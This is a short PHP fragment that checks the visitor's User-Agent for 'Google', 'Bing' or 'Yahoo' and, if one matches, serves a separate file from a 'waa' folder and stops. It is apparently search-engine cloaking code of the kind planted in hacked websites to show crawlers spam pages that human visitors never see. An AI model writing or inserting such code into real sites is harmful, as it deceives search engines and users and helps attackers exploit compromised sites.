$flag=false; $tmp=$_SERVER['HTTP_USER_AGENT']; if(stripos($tmp,'Google')!==false){$flag=true;} else if(stripos($tmp,'Bing')!==false){$flag=true;} else if(stripos($tmp,'Yahoo')!==false){$flag=true;} if($flag == true) { require('./waa/index.html'); exit(); }